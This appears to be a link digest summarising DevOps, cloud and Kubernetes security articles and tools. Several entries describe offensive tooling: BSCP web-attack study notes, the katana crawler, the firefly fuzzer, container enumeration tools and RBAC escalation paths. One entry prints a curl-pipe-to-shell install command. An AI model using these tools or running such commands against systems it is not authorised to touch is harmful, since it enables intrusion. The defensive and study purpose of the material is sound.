  • Amazon Linux 2023, a Cloud-Optimized Linux Distribution with Long-Term Support
    summary

    TL;DR: Sébastien Stormacq’s AWS News Blog post (March 2023) announcing GA of Amazon Linux 2023, the third generation of Amazon Linux, with a predictable release and support lifecycle.

    • Support: Five years per major version: two years standard plus three years maintenance with security fixes.
    • Cadence: A new major version every two years, with minor updates every three months in the first two years.
    • Base: Starts from Fedora but is not tied to one release; includes components from Fedora 34-36 and some resembling CentOS Stream 9.
    • Packages: dnf replaces yum; /usr/bin/yum symlinks to dnf-3.
    • Versioned repos: Locked to a repository version, so dnf update does not pull new releases; use dnf check-release-update and --releasever or new AMIs.
    • Kernel: Long-term kernel.org releases (6.1 in the example); AMIs for x86_64 and Arm in standard and minimal sizes, gp3 by default.
    • Update note: The page notes Amazon Linux 2 end of life was extended to 2026-06-30.

    Takeaway: Plan AL2 to AL2023 migrations now. Learn the versioned-repo update model, since it differs from AL2.

  • Kubernetes CPU Requests & Limits vs Autoscaling
    summary

    TL;DR: A Sysdig blog post by Jason Umiker (March 2023) arguing that accurate CPU requests plus HPA and Cluster Autoscaler usually beat CPU limits, which can badly hurt performance.

    • Requests: Used by the scheduler’s filter step; a pod stays Pending until a node has enough unrequested CPU.
    • CPU shares: Requests map to cgroup shares; 1,000 of 3,000 total shares means one third of CPU time under contention.
    • Limits: CFS quota over a 100,000 µs (100 ms) period; 10 threads can burn a 1-CPU quota in 10 ms and stay throttled 90% of the period.
    • Defaults and QoS: A limit without a request sets request equal to limit; no request means BestEffort and first eviction.
    • Autoscaling: HPA adds pods; Cluster Autoscaler adds nodes when unrequested capacity runs out and drains them on scale-down.
    • Runtime tuning: Match thread counts to CPU: piscina maxThreads for Node.js, -XX:ActiveProcessorCount for Java, GOMAXPROCS or automaxprocs for Go.
    • Caveat: Limits still matter on fixed on-prem capacity to keep tenants fair.

    Takeaway: Invest in correct requests and autoscaling first. If you keep CPU limits, align language runtime thread counts to them.

  • How to Use Kubernetes Events for Effective Alerting and Monitoring
    summary

    TL;DR: A CNCF guest post by Hrittik Roy (March 2023, also on the Grafana Labs blog) on using Kubernetes events for monitoring, shipping them to Loki with Grafana Agent for retention and alerting.

    • Retention problem: Events are only available for one hour after creation, so they need an external store.
    • Event types covered: Failed (image pull, manifest), Evicted, FailedScheduling, volume (FailedMount, FailedAttachVolume) and node events (NodeNotReady, HostPortConflict).
    • Commands: kubectl get events, kubectl get events -o json, kubectl get events --namespace=<ns>, kubectl describe <kind>/<name>.
    • Troubleshooting: ImagePullBackOff from wrong tags or credentials; taints, labels and tolerations for scheduling and eviction issues.
    • Collection: Grafana Agent eventhandler_config reads events from the API and forwards them to Loki, as a DaemonSet or Deployment; without cache_path, restarts cause duplicates.
    • Alerting: Grafana alerts to Slack or email on evictions, errors and state changes.

    Takeaway: Ship events somewhere durable before you need them in an incident. Any event exporter works; the post uses the Grafana stack.

  • ko: Build and Deploy Go Applications
    summary

    TL;DR: ko is a CNCF Sandbox tool that builds container images for Go applications by running go build locally, with no Docker daemon needed.

    • Best fit: Images that contain a single Go binary with few or no OS dependencies (no cgo, no OS packages).
    • No Docker: Builds and pushes images without Docker installed, which suits lightweight CI.
    • Multi-platform: Makes multi-arch builds easy.
    • SBOMs: Produces SBOMs by default.
    • Kubernetes: Simple YAML templating lets it resolve image references in manifests for Kubernetes deploys.
    • Origin: Based on experience building Docker and Kubernetes support for Bazel.

    Takeaway: For pure Go services, ko removes the Dockerfile and gives small images with SBOMs. Use a regular build when you need cgo or OS packages.

  • Container Security Fundamentals Part 2: Isolation & Namespaces
    summary

    TL;DR: Part 2 of Rory McCune’s container security fundamentals series on Datadog Security Labs (March 2023), covering how Linux namespaces isolate containers.

    • Namespaces: Linux has eight (mount, PID, network, cgroup, IPC, time, UTS, user); Docker uses mnt, uts, ipc, pid and net by default.
    • Inspection: lsns, docker inspect for the PID, then findmnt -N <pid> or nsenter --target <pid> --mount.
    • PID sharing: docker run --pid=container:<name>, Kubernetes shareProcessNamespace: true and kubectl debug --target.
    • Network sharing: docker run --network=container:<name>; ip netns does not work with Docker since its symlinks are missing.
    • Cgroup leakage: Using the host cgroup namespace exposes host service info under /sys/fs/cgroup/system.slice/.
    • User namespaces: unshare -U -r gives in-namespace root; the post links unprivileged user namespaces to easier exploitation of CVE-2022-0185 and mentions kernel.unprivileged_userns_clone.
    • State at the time: runc was still adding time namespace support, and user namespaces were not yet usable in Kubernetes.

    Takeaway: Knowing which namespaces a container shares tells you what it can see. Treat any host-namespace sharing flag as a security review item.

  • 20 Terraform Best Practices to Improve Your TF Workflow
    summary

    TL;DR: A Spacelift blog article listing Terraform best practices; the archived title says 20, but the page has since been updated (April 2026) to 21 practices.

    • State: Remote backend with locking, no manual state edits, backups and S3 versioning.
    • Modules: Reuse Registry modules, pin versions, and build small reusable modules.
    • Hygiene: terraform fmt and terraform validate in CI or pre-commit; lowercase underscore naming; descriptions on variables and outputs; consistent tags with provider default_tags.
    • Language features: for_each/count, dynamic blocks, lifecycle ignore_changes and create_before_destroy, and variable validation blocks.
    • Secrets and debugging: Keep secrets out of VCS using sensitive = true, TF_VAR_ env vars or Vault/Secrets Manager; TF_LOG=DEBUG and TF_LOG_PATH.
    • Tools: tflint, Checkov, Terratest, pre-commit-terraform, terraform-docs, tfenv, Atlantis and OPA for policy.
    • Changed content: The current version adds safe AI-assistant use and an OpenTofu note; it also promotes Spacelift throughout.

    Takeaway: A solid checklist for reviewing a Terraform repo. The page is vendor content and has been rewritten since it was saved.

  • What the ML Is Up with DevSecOps and AI?
    summary

    TL;DR: A GitLab blog post by Taylor McCaslin (March 2023), first in a series, describing GitLab’s early AI/ML features for DevSecOps and its plans.

    • Suggested Reviewers: Open beta from September 2022; recommends merge request reviewers and had produced tens of thousands of suggestions.
    • Code Suggestions: Closed beta from February 2023 in the GitLab VS Code extension, with plans for the Web IDE and Remote Development.
    • Access: Ultimate customers could request beta access via a form.
    • Data handling: GitLab states customer source code does not leave the instance and is not used to train shared models.
    • Planned: Workflow automation (assigning, labeling, summarizing), intelligent code security for vulnerability remediation, and generative code features.
    • ModelOps: Plans for better Python notebook support, GPU runners and a native Model Registry.
    • Caveat: Forward-looking content carries a disclaimer that it may change.

    Takeaway: A snapshot of GitLab’s AI roadmap at the start of the 2023 AI wave. Check current docs for what actually shipped.

  • A Guide to Delegated Administrator in AWS Organizations and Multi-Account Management
    summary

    TL;DR: A CloudQuery blog guide to delegated administrator in AWS Organizations, letting member accounts manage services org-wide instead of the management account; the page now shows a 2026 rewrite.

    • API method: aws organizations register-delegated-administrator --account-id <id> --service-principal <svc> after enable-aws-service-access.
    • Service-specific APIs: Some services use their own calls, e.g. guardduty:EnableOrganizationAdminAccount or cloudtrail:RegisterOrganizationDelegatedAdmin.
    • Resource-based delegation policy: organizations:PutResourcePolicy is the only way to delegate Organizations policy management, tagging and read access.
    • Limits: IAM Identity Center allows one delegated admin, CloudTrail up to three; regional services (Security Hub, GuardDuty, Inspector, Macie, Detective) need per-region registration.
    • SCPs: Delegated admin accounts are subject to SCPs, unlike the management account.
    • Coverage: The current page states 37 services support delegation as of early 2026.
    • Source caveat: The live page is a rewritten version dated 2026, not the original 2023 text.

    Takeaway: Move security tooling admin out of the management account. Keep that account for billing and org structure only.

  • aws-cost-cli: Cost Analysis for Your AWS Account with Slack Integration
    summary

    TL;DR: aws-cost-cli is a Node.js CLI by Kamran Ahmed that reports AWS account costs by service and can post them to Slack.

    • Install: npm install -g aws-cost-cli or run with npx; a Dockerfile is included.
    • Default output: aws-cost prints totals with a per-service breakdown.
    • Output modes: --summary, --text (no colors or tables), --json.
    • Credentials: -k/-s/-r flags or an AWS CLI --profile.
    • Slack: --slack-token and --slack-channel post the report, which suits a scheduled job.
    • Moved: The repository now resolves to nilbuild/aws-cost-cli.

    Takeaway: A quick way to send daily spend to Slack without building dashboards. Give it a read-only Cost Explorer role.

  • Use Backups to Recover from Security Incidents
    summary

    TL;DR: An AWS Security Blog post by Jason Hurst of the AWS Customer Incident Response Team (March 2023) on using backups to recover from security incidents.

    • Responsibility: Backup configuration is on the customer side; the post states AWS cannot recover a deleted resource.
    • AWS Backup: Centralized, policy-based protection across services, encrypted with KMS keys.
    • Isolation: Cross-account and cross-region copies, org-wide policies via AWS Organizations, and vault resource policies.
    • Governance: Legal hold, retention policies and AWS Backup Audit Manager compliance reports.
    • Service features: Aurora continuous backups with 1 to 35 day retention, DynamoDB point-in-time recovery within 35 days, and EC2 Recycle Bin for deleted EBS snapshots and AMIs.
    • Caveat: S3 buckets that hold backups need their own security configuration.

    Takeaway: Assume attackers will try to delete backups. Copy them to a separate account and confirm you can restore before an incident.

  • awesome-detection-rules: Collection of Threat Detection Rules and Rules Engines
    summary

    TL;DR: A curated list by jatrost of public threat detection rule repositories and rules engines, grouped by rule language.

    • YARA: Dozens of sources including Elastic protections-artifacts, Neo23x0 signature-base, ESET malware-ioc, Mandiant red team countermeasures, ReversingLabs and Yara-Rules.
    • Sigma: Collections such as the Center for Threat-Informed Defense cloud analytics and LOLDrivers detections.
    • Network and runtime: Sections for Falco, Zeek and Suricata.
    • SIEM and query languages: Splunk, KQL and MQL sections.
    • Other: Nuclei templates and a catch-all section.

    Takeaway: A good starting index when building or benchmarking detection content. Review and test any third-party rule before deploying it.

  • Introducing Microsoft Security Copilot
    summary

    TL;DR: The archived link was Microsoft’s March 2023 introduction of Security Copilot; the URL now hosts the current product page for the generally available, agent-based Security Copilot.

    • What it is: A security-focused language model product drawing on Microsoft threat intelligence, which the page says covers more than 100 trillion daily signals.
    • Capabilities: Incident summaries and response guidance, natural-language query generation, malware script analysis and report writing.
    • Agents: Phishing triage, alert triage, vulnerability remediation and Conditional Access optimization agents, plus partner and community agents.
    • Integrations: Defender XDR, Sentinel, Intune, Entra, Purview, Defender for Cloud, Defender EASM and Azure firewalls.
    • Pricing: Usage in Security Compute Units (SCUs); eligible Microsoft 365 E5/E7 customers get 400 SCUs per month per 1,000 licenses, up to 10,000.
    • Vendor claims: Internal studies cite phishing triage up to 550% faster; these are not independently verified.
    • Source caveat: The page no longer shows the original 2023 announcement text.

    Takeaway: Evaluate it on your own incidents and SCU cost. Treat vendor speed-up figures as marketing until you measure them.

  • woodpecker: Community Fork of the Drone CI System
    summary

    TL;DR: Woodpecker is an Apache 2.0, self-hosted CI/CD engine focused on simplicity and plugin extensibility, archived here as a community fork of Drone.

    • Footprint: Uses SQLite by default; about 100 MB RAM for the server and 30 MB for an agent when idle.
    • Extensibility: A plugin catalog combines core-team and community plugins.
    • Adoption: Codeberg uses it as its main CI/CD engine.
    • Docs and i18n: Docs at woodpecker-ci.org and a self-hosted Weblate for translations.
    • Funding: Open Collective and GitHub Sponsors.
    • Source caveat: The current README does not mention the Drone fork history from the archived title.

    Takeaway: A light, fully open option for self-hosted CI. Fits small teams that want Drone-style pipelines without a commercial license.

08.03.2023

  • Privacy Guides: The Guide to Restoring Your Online Privacy
    summary

    TL;DR: Privacy Guides is a non-profit, community-run site offering privacy and security advice and tool recommendations.

    • Positioning: Describes itself as impartial and non-profit, focused on building a privacy advocacy community.
    • Sections: Knowledge Base (guides), Recommendations (tools), Activism, Articles, Videos, News, Forum and Wiki.
    • Independence: States it does not earn money from recommendations, uses no affiliate links, runs no ads and does not partner with listed providers.
    • Funding: Asks readers to become paying members.
    • Homepage content: The homepage names no specific tools; recommendations live under the tools section.

    Takeaway: A good neutral reference to give non-technical people. Use its threat-model guidance first, then pick tools from its recommendations.

  • Hacking Google: Series
    summary

    TL;DR: HACKING GOOGLE is Google’s six-part YouTube documentary series (October 2022) about its internal security teams.

    • Pitch: Five elite security teams and six never-before-told stories, per the playlist description.
    • EP000 Operation Aurora: What happens when a country attacks a company.
    • EP001-EP002: Threat Analysis Group and Detection and Response.
    • EP003 Red Team: The team that hacks Google from the inside.
    • EP004-EP005: Bug Hunters (outside researchers who have made millions hacking Google) and Project Zero (zero-day research).
    • Bonus: A Google Cloud episode hosted by CISO Phil Venables; episodes were first unlocked through the H4CK1NG G00GL3 challenge.
    • Source caveat: Episode list taken from Google’s blog and TheTVDB via search, since the playlist page only exposed the description.

    Takeaway: Easy viewing that explains how a large company organizes threat intel, detection, red teaming and vulnerability research. Useful for team onboarding.

  • tbls: CI-Friendly Tool for Documenting a Database
    summary

    TL;DR: tbls by k1LoW is a single-binary Go tool that documents database schemas, diffs them and lints them, designed to run in CI.

    • Documentation: tbls doc postgres://user:pass@host:5432/db writes GitHub Flavored Markdown docs with ER diagrams.
    • Diff and lint: Compares the database with its committed docs and lints schema rules; also measures document coverage.
    • Databases: Supports many engines (PostgreSQL in the examples) and many output formats.
    • Config: .tbls.yml covers DSN, filters, comments, virtual relations, viewpoints and templates.
    • Install: brew install tbls, deb/rpm packages, go install github.com/k1LoW/tbls@latest, ghcr.io/k1low/tbls image, or the k1low/setup-tbls GitHub Action.

    Takeaway: Keeps schema docs in the repo and fails CI when they drift. Cheap to add next to migrations.

  • Pull Request Merge Queue (Public Beta)
    summary

    TL;DR: GitHub’s February 8, 2023 changelog announcing the pull request merge queue public beta for busy branches.

    • How it works: Builds a temporary branch with the latest base, PRs ahead in the queue and the PR itself, then runs CI; required checks must pass before merge.
    • Queuing: Use Merge when ready on the PR page or in GitHub Mobile (beta).
    • Failures: PRs with conflicts or failed required checks are removed automatically when they reach the front, with a notification.
    • Queue page: Shows status, required checks, estimated time to merge and 30-day trends; permitted users can remove PRs or clear the queue.
    • Availability: GitHub Enterprise Cloud repositories and open source organizations at the time.

    Takeaway: Solves the stale-green-build problem on high-traffic main branches. Your CI must also run for merge queue branches before you enable it.

  • OWASP Kubernetes Top 10
    summary

    TL;DR: A Sysdig blog post by Nigel Douglas (February 2023) walking through the OWASP Kubernetes Top 10 with tools and mitigations for each risk.

    • K01 Insecure workload configs: Minimal images and CIS Benchmark audits with kube-bench.
    • K02 Supply chain: Scan images in CI/CD and sign and verify them.
    • K03 Overly permissive RBAC: Audit with RBAC Audit, KubiScan or Krane.
    • K04-K05 Policy and logging: Admission controllers and OPA kube-mgmt; centralize logs and metrics with Prometheus, Grafana and Falco.
    • K06-K07 Auth and network: MFA for humans; NetworkPolicies, Calico or Cilium, or a service mesh like Istio.
    • K08-K09 Secrets and components: Encrypt Secrets at rest with least-privilege RBAC; set kubelet --anonymous-auth=false and audit manifests continuously.
    • K10 Outdated components: Track CVEs, patch, and scan with kubescape or kubeclarity.

    Takeaway: A practical map from each OWASP K8s risk to tools. Use it as a checklist for a cluster review.

  • A Complete Kubernetes Config Review Methodology
    summary

    TL;DR: A Security Cafe article by Stefan Tita (February 2023) laying out a step-by-step methodology for a Kubernetes security configuration review.

    • Images and containers: Trivy and Grype for images; Peirates and kdigger to enumerate privileged pods, host namespaces and tokens from inside a container.
    • CIS Benchmark: Versions, logging, service accounts, security contexts, secrets encryption, anonymous-auth and file permissions; the author prefers manual checks over kube-bench because of false results.
    • RBAC escalation: Risky rights include create pods, list/watch secrets, wildcards, pods/exec, nodes/proxy, rolebindings and impersonation; KubiScan and rbac-tool who-can help find them.
    • Secret exposure: LIST and WATCH return secret values, not just GET, with a jq example.
    • Network: Review Service types and Ingress, NetworkPolicies, and Security Groups for Pods on EKS; no policy means all pod traffic is allowed.
    • Scanning caution: Kube-Hunter active mode can change state, and admission chain fuzzing can create pods.
    • Add-ons: Check add-ons like Prometheus or Argo CD for privilege and public exposure.

    Takeaway: A ready-made scope for a K8s config audit. The LIST/WATCH secrets point is often missed in RBAC reviews.

  • bearer: SAST Tool to Find Security Risks Leading to Sensitive Data Exposure
    summary

    TL;DR: Bearer CLI is an open-source SAST tool that scans code and data flows for security risks and for sensitive data exposure such as PII and PHI.

    • Languages (CLI): Go, Java, JavaScript, TypeScript, PHP, Python and Ruby.
    • Security rules: Built-in rules mapped to OWASP Top 10 and CWE Top 25, e.g. path traversal, SQL injection, XSS, weak crypto, hard-coded passwords, SSRF and sensitive data in logs.
    • Privacy: Detects sensitive data flows and components that process them, such as databases and third-party APIs.
    • Commercial tier: Bearer Pro is now sold through Cycode, adding cross-file analysis and more languages (C#, Kotlin, Elixir, VB.Net, Rust, Swift).
    • Rules: All rules and code patterns are documented.

    Takeaway: Its focus on sensitive data flow is the differentiator. Run it in CI next to a general SAST tool.

  • Burp-Suite-Certified-Practitioner-Exam-Study: Burp Suite Certified Practitioner Exam Study
    summary

    TL;DR: botesjuan’s study notes, built from over 110 PortSwigger Web Security Academy labs, used to pass the Burp Suite Certified Practitioner (BSCP) exam in 2023.

    • Structure: Follows the exam stages: scanning, foothold (stage 1), privilege escalation (stage 2) and data exfiltration (stage 3).
    • Foothold topics: Content discovery, DOM XSS, XSS, web cache poisoning, host headers, HTTP request smuggling, brute force and authentication.
    • Privesc topics: CSRF account takeover, password reset, SQLi, JWT, prototype pollution, API testing, access control, GraphQL and CORS.
    • Exfiltration topics: XXE, SSRF, SSTI, server-side prototype pollution, path traversal, file uploads, deserialization and OS command injection.
    • Extras: Payloads, word lists, Python scripts, focused scanning tips, and advice to practice the PortSwigger Mystery lab challenge.

    Takeaway: A tight roadmap for BSCP prep. Pair it with the Academy labs rather than reading it alone.

  • Golang Quirks & Intermediate Tricks, Pt 1: Declarations, Control Flow, & Typesystem
    summary

    TL;DR: Part 1 of Efron Licht’s Go quirks series (February 2023) on lesser-known declaration, control flow and type system behavior.

    • Semicolons: Inserted by the lexer, so statements can share a line; gofmt splits them.
    • Method expressions: Call methods as functions, e.g. Point.Add(p, q) or (*big.Float).SetFloat64(&x, 10) for pointer receivers.
    • break in select: Only exits the select, not the loop; use labeled breaks.
    • Composite literals: Element types can be omitted inside arrays, slices and maps, but not for struct fields or function arguments.
    • switch init: switch n, acc := b.Uint64(); acc { and boolean-style switches.
    • goto: Cannot jump into a block or out of a function.
    • Anonymous types: Inline interface{ Flush() error } checks, blank _ struct fields to force keyed initialization, and zero-sized struct{}.

    Takeaway: Good for intermediate Go developers. The break inside select gotcha alone is worth knowing.

  • Rust vs Go in 2023
    summary

    TL;DR: John Arundel (Bitfield Consulting) compares Rust and Go and sums it up as Rust for high stakes, Go for low costs.

    • Moved: The URL now redirects to bitfieldconsulting.com/posts/rust-vs-go.
    • Shared goals: Both aim at memory safety, modern tooling and performance at scale, eliminating buffer overflows, null pointer bugs and data races.
    • Performance: Rust’s compiler produces code as fast as the hardware allows; Go is framed around high-throughput, large-scale operation.
    • Simplicity: Go is small, has few keywords and compiles fast; Rust is described as powerful, rich and rewarding.
    • Safety and control: Rust catches many bugs at compile time with static analysis and offers low-level control plus C/C++ interop.
    • Stability: Go emphasizes backward compatibility and adds features rarely.
    • When to pick: Go for fast onboarding, prototyping and low development cost; Rust for reliability, high performance and efficient resource use.

    Takeaway: Choose based on cost of failure and team ramp-up time, not benchmarks. Both are reasonable general-purpose picks.

  • Under-Documented Kubernetes Security Tips
    summary

    TL;DR: A September 2022 post on Mac Chaffee’s blog arguing that standard Kubernetes hardening guides miss organizational and API-level risks.

    • Organization first: Policies (e.g. security review for public Ingresses), segregation of duties, no unaudited shared cluster-admin token, training, periodic access reviews and an incident plan.
    • Undocumented verbs: There is no complete list of verbs and subresources, so * in Roles has undefined effects; avoid wildcards.
    • escalate verb: Lets a user create Roles beyond their own rights, which effectively grants admin.
    • pods/ephemeralcontainers: Could bypass validating webhooks that block privileged pods; the post says Gatekeeper, Kyverno and OpenShift SCCs were once affected.
    • API as RCE: Use a real identity provider via OIDC (ServiceAccount tokens are not enough), consider 2FA, and run intrusion detection such as Falco.
    • Blast radius: Multiple clusters limit impact, if the extra tooling does not add attack surface.

    Takeaway: Audit for escalate, wildcard rules and ephemeral container access. Read new Kubernetes release notes for new verbs and subresources.

  • Kubernetes Security Checklist
    summary

    TL;DR: The official Kubernetes documentation checklist of baseline cluster security controls, with links to deeper docs; it states it is neither exhaustive nor sufficient alone.

    • Sections: Authentication and authorization, network security, pod security, logs and auditing, pod placement, secrets, images and admission controllers.
    • system:masters: Use only as break-glass after bootstrap; run kube-controller-manager with --use-service-account-credentials.
    • Certificates and reviews: Certificates expire within 3 years, the root CA is protected, and access reviews happen at least every 24 months.
    • Network: CNI supports NetworkPolicies, default-deny per namespace, and the API server, kubelet and etcd not exposed publicly; etcd uses mTLS with its own CA.
    • Metadata and services: Block pod access to 169.254.169.254 if not needed; restrict LoadBalancer and ExternalIPs (CVE-2020-8554, DenyServiceExternalIPs).
    • Pod security: Enforce Pod Security Standards in all namespaces, grant workload create/update rights sparingly, set memory limit no higher than request, and enable Seccomp.

    Takeaway: A vendor-neutral baseline to audit clusters against. Use it as a minimum and layer CIS or OWASP guidance on top.

  • aws-break-glass-role: AWS Break Glass Role
    summary

    TL;DR: An AWS Labs CDK construct (npm aws-break-glass-role) that creates an emergency break glass role for production accounts with login alerts and action logging built in.

    • Use case: Production accounts with no standing write access, where on-call staff need a controlled emergency path.
    • Basic use: new BreakGlassRole(stack, id, { usernames: [...] }); trust is the account root with an aws:username condition.
    • Permissions: Defaults to full AdministratorAccess if no policies are given, which the README says is not recommended; pass managedPolicies and policyStatements instead, or an existing role.
    • Login alerts: loginAlertEmails creates an EventBridge rule with an SNS target; recipients must confirm the subscription; messages can be customized.
    • Action logging: logActions (all, or only write) and per-service filters to control cost and volume.
    • Extras: Retention and region settings, and documented deployer permissions.

    Takeaway: A quick way to get an auditable break glass role. Scope its permissions and test the alert path before an incident.

  • centralized-logs: Centralizing AWS CloudWatch Log Forwarding via EventBridge and Step Functions
    summary

    TL;DR: Aidan Steele’s code-less CloudFormation pattern for centralizing CloudWatch Logs subscriptions across AWS accounts and regions with Firehose, EventBridge and Step Functions.

    • Destination: One Kinesis Data Firehose delivery stream (example firehose.yml) or Kinesis data stream receives all logs; one is enough, not one per region.
    • Log account: logs-account.yml is deployed in every region you collect from, with OrganizationId (from aws organizations describe-organization) and FirehoseArn parameters.
    • Member accounts: every-account.yml is deployed to all accounts and regions, with CentralBusAccountId pointing at the log account.
    • Automation: EventBridge reports new log group creation, and Step Functions assume roles cross-account and call the AWS SDK to add subscriptions.
    • No code: No Lambda functions to maintain; Step Functions SDK integrations do the work.

    Takeaway: A tidy pattern for org-wide log shipping that picks up new log groups automatically. Deploy it with StackSets to reach every account.

  • aws-scps-with-terraform: Template to Create and Apply AWS Service Control Policies with Terraform
    summary

    TL;DR: An AWS Samples Terraform module for deploying AWS Organizations policies; the repo has been renamed to terraform-aws-organization-policies and now covers SCPs, RCPs and other policy types.

    • Module: source = "aws-samples/organization-policies/aws" (version 3.1.0 in the README) with policy_type, e.g. SERVICE_CONTROL_POLICY or RESOURCE_CONTROL_POLICY.
    • Attachment: ou_map maps root or OU IDs to policy names; one module instance per policy type.
    • Policy files: JSON files in a directory named after the policy type (e.g. ./service_control_policy/), overridable with policies_directory.
    • Templates: Accepts .json.tpl files with template_variables such as a management account ID.
    • Scope change: The archived title mentions SCPs only; the current repo name and description reflect the broader scope.

    Takeaway: Keeps org guardrails as reviewable JSON in Git. Test new SCPs on a sandbox OU before attaching them to root.

  • Guidance for Baseline Security Assessment on AWS
    summary

    TL;DR: AWS Solutions guidance that deploys a CloudFormation stack to run an automated baseline security assessment and present results as an AWS Well-Architected custom lens report.

    • Deployment: A CloudFormation template creates a Lambda function and its IAM role.
    • Mechanism: The Lambda deploys a Well-Architected custom lens, assesses the account and answers the lens questions automatically.
    • Checks: Secrets Manager use, Systems Manager Patch Manager, CloudFront for static content, VPC configuration, CloudTrail, billing alarms, Cost Anomaly Detection and S3 public access blocking.
    • Output: View and download the report in the Well-Architected Tool console, with remediation steps.
    • Permissions: The Lambda uses least-privilege, read-only access.

    Takeaway: A low-effort first pass for a new or inherited account. Follow it with Security Hub or Prowler for deeper coverage.

  • Dashbird: Agentless Observability for Serverless Applications
    summary

    TL;DR: Dashbird is a commercial, agentless monitoring and error detection SaaS for AWS serverless applications.

    • Setup: Deploy a CloudFormation template granting read-only permissions; no code instrumentation or Lambda layers. The site says setup takes two minutes.
    • Coverage: Lambda, API Gateway, SQS, ECS, RDS, AppSync, DynamoDB, Kinesis, SNS, OpenSearch, Step Functions, S3 and EventBridge.
    • Features: Cloud inventory, tracing, log analytics, custom dashboards, error tracking, alarms and insights.
    • Best-practice checks: The site lists 148 failure checks, 238 insights and 17 integrations.
    • Pricing model: Charges by invocations, with no seat fee.
    • Vendor claims: Marketing figures such as 85% reduced downtime are the vendor’s own and not independently verified.

    Takeaway: Worth a trial for teams that run many Lambda-based services without a full observability stack. Compare cost with CloudWatch-native options.

  • tokei: Count Your Code, Quickly
    summary

    TL;DR: Tokei is a fast Rust CLI that counts files, lines, code, comments and blanks per language in a codebase.

    • Speed: Counts millions of lines in seconds, per the README.
    • Accuracy: Handles multi-line and nested comments and ignores comment markers inside strings.
    • Languages: Over 150 languages and their extensions, including embedded code in Markdown.
    • Output: CBOR, JSON and YAML, which can be stored and combined with later runs.
    • Platforms: macOS, Linux and Windows.

    Takeaway: A quick way to size a repo before an audit or migration. JSON output works well in CI dashboards.

  • rtx: Runtime Executor (asdf Rust Clone)
    summary

    TL;DR: rtx, a Rust asdf alternative by jdx, has since been renamed mise (mise-en-place) and now manages dev tools, environment variables and tasks from one mise.toml.

    • Rename: The URL now resolves to jdx/mise; rtx is the old name.
    • Tools: Installs tools such as Node.js, Python and Terraform from a registry of 1,000+, with per-project versions.
    • Env vars: Sets per-project environment variables and loads .env files.
    • Tasks: Runs build and test tasks with the project’s tools and environment.
    • Commands: curl https://mise.run | sh, mise exec node@24 -- node --version, mise use node@24.
    • Bootstrap: Newer mise bootstrap sets up a machine’s packages, dotfiles and services.

    Takeaway: If you saved this as rtx, install mise instead. It can replace asdf, direnv and simple Makefiles.

  • moon: Task Runner and Repo Management Tool for the Web Ecosystem, Written in Rust
    summary

    TL;DR: moon is a Rust-based repository management, orchestration and build tool for web-ecosystem monorepos, inspired by Bazel.

    • Toolchain: Downloads and pins explicit tool versions (e.g. Node.js) across the workspace or per project.
    • Builds: Smart hashing for deterministic builds and remote caching shared between developers and CI.
    • Graphs: Project and dependency graphs drive a parallel action pipeline; actions can be distributed across machines.
    • Automation: Can install node_modules, sync package dependencies and TypeScript project references.
    • Ownership: Declares owners and generates CODEOWNERS; includes code generation for scaffolding.
    • Adoption: Designed for incremental, project-by-project migration.

    Takeaway: A lighter alternative to Bazel or Nx for JS/TS monorepos. The remote cache is where CI time savings come from.

  • katana: Next-Generation Crawling and Spidering Framework
    summary

    TL;DR: katana is ProjectDiscovery’s Go web crawler and spider for security reconnaissance, with standard and headless browser modes.

    • Modes: Standard HTTP crawling and headless Chrome (-headless, -system-chrome).
    • JavaScript: Parses and crawls JavaScript for endpoints.
    • Forms: Customizable automatic form filling.
    • Scope: Preconfigured field or regex scope control.
    • Classification: A machine-learning knowledge base classifies page and form types (model downloaded automatically).
    • I/O: Input from stdin, URL or list; output to stdout, file or JSON.
    • Install: CGO_ENABLED=1 go install github.com/projectdiscovery/katana/cmd/katana@latest or docker pull projectdiscovery/katana.

    Takeaway: Feeds endpoint lists into scanners such as nuclei. Only crawl targets you are authorized to test.

  • firefly: Black Box Fuzzer for Web Applications
    summary

    TL;DR: firefly by Brum3ns is a Go black-box fuzzer for web applications that compares responses against verified baseline behavior to find anomalies.

    • Basic use: firefly -u 'http://example.com/?query=FUZZ', with -m GET,POST,PUT and -p https,http,ws.
    • Raw requests: -r takes a raw HTTP request and auto-detects GET and POST parameters to fuzz.
    • Request verifier: Baseline requests teach the tool the target’s normal behavior; the README stresses quality over quantity here.
    • Payloads: Built-in payloads mixed with SecLists wordlists, plus tampering and encoding.
    • Filtering: Filters and verification to cut junk results.
    • Install: go install -v github.com/Brum3ns/firefly/cmd/firefly@latest.

    Takeaway: Useful for parameter fuzzing in bug bounty or pentest work. Only use it against authorized targets.

  • goreplay: Capture and Replay Live HTTP Traffic into a Test Environment
    summary

    TL;DR: GoReplay captures live HTTP traffic from a network interface and replays it to test environments for shadowing, load testing and analysis; the repo now lives at probelabs/goreplay.

    • Approach: Listens passively on interfaces instead of acting as a proxy, so it is not in the request path.
    • Basic capture: sudo ./gor --input-raw :8000 --output-stdout works like tcpdump.
    • Replay: sudo ./gor --input-raw :8000 --output-http http://staging.env mirrors traffic to staging.
    • Uses: Increases confidence in code, config and infrastructure changes using real traffic.
    • Install: Release binaries or build from source.

    Takeaway: A cheap way to test changes with real traffic patterns. Scrub sensitive data and avoid replaying non-idempotent writes against shared systems.

  • earthly: Simple CI/CD Framework with Repeatable Builds That Run Anywhere
    summary

    TL;DR: Earthly is a containerized build framework with Dockerfile-plus-Makefile-style syntax for repeatable builds; it is no longer actively maintained.

    • Status: Earthly Technologies ended active maintenance and shut down Earthly Cloud (including Satellites) on July 16, 2025; the source stays available.
    • Fork: A community-maintained fork is available as EarthBuild.
    • Model: Runs every build step in containers, so the same Earthfile works on laptops and in any CI.
    • Features: Build caching and parallel execution, reusable targets, and support for monorepos and polyrepos.
    • Compatibility: Wraps existing language build tools rather than replacing them.

    Takeaway: Do not start new projects on upstream Earthly. Evaluate EarthBuild or alternatives such as Dagger if you like the model.

  • How to Achieve Application & Cloud Security Resilience
    summary

    (Could not fetch full text.)

    TL;DR: A February 2023 better appsec article by James Chiappetta, with contributions from Dor Zusman, on building a resilient AppSec and cloud security program through automation and data.

    • Scanning tools: Overview of the types of automated security scanning tools.
    • Scan strategy: When to run comprehensive scans versus targeted scans.
    • Detections: How to build a high-quality detection set.
    • Triage: Root cause analysis, deduplication and attribution of findings.
    • Metrics: Measures for quantifying AppSec program resiliency.
    • Source caveat: The article is a Medium member-only story and the live page blocked access; summary is based on the archived intro and a tl;dr sec newsletter description.

    Takeaway: Useful framing for maturing a scanning program beyond tool sprawl. Read the full piece for the specific metrics.

  • Under-Documented Kubernetes Security Tips
    summary

